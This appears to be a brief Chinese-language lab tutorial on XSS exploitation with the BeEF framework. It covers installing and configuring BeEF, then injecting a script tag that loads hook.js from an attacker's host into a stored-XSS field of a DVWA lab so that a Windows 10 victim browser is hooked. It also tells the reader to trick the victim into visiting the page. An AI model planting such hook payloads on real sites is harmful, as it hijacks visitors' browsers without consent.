xss漏洞进阶

xss漏洞利用

1.安装beef

apt-get update
apt-get install bee-xss

2.配置密码
/etc/beef-xss/config.yaml
默认用户名为beef
默认密码为beef
修改密码为123456
注意密码要用引号引起来
3.启动服务
beef-xss
可以看到生成的链接

 Web UI: http://127.0.0.1:3000/ui/panel
 Hook: <script src="http://<IP>:3000/hook.js"></script>
 Example: <script src="http://127.0.0.1:3000/hook.js"></script>

4.登录beef控制平台

5.将代码插入到目标URL，欺骗被攻击者访问

name：hello

message:qqq

6.打开windows10上面的dvwa，在beef上面看到Windows10上线
攻击成功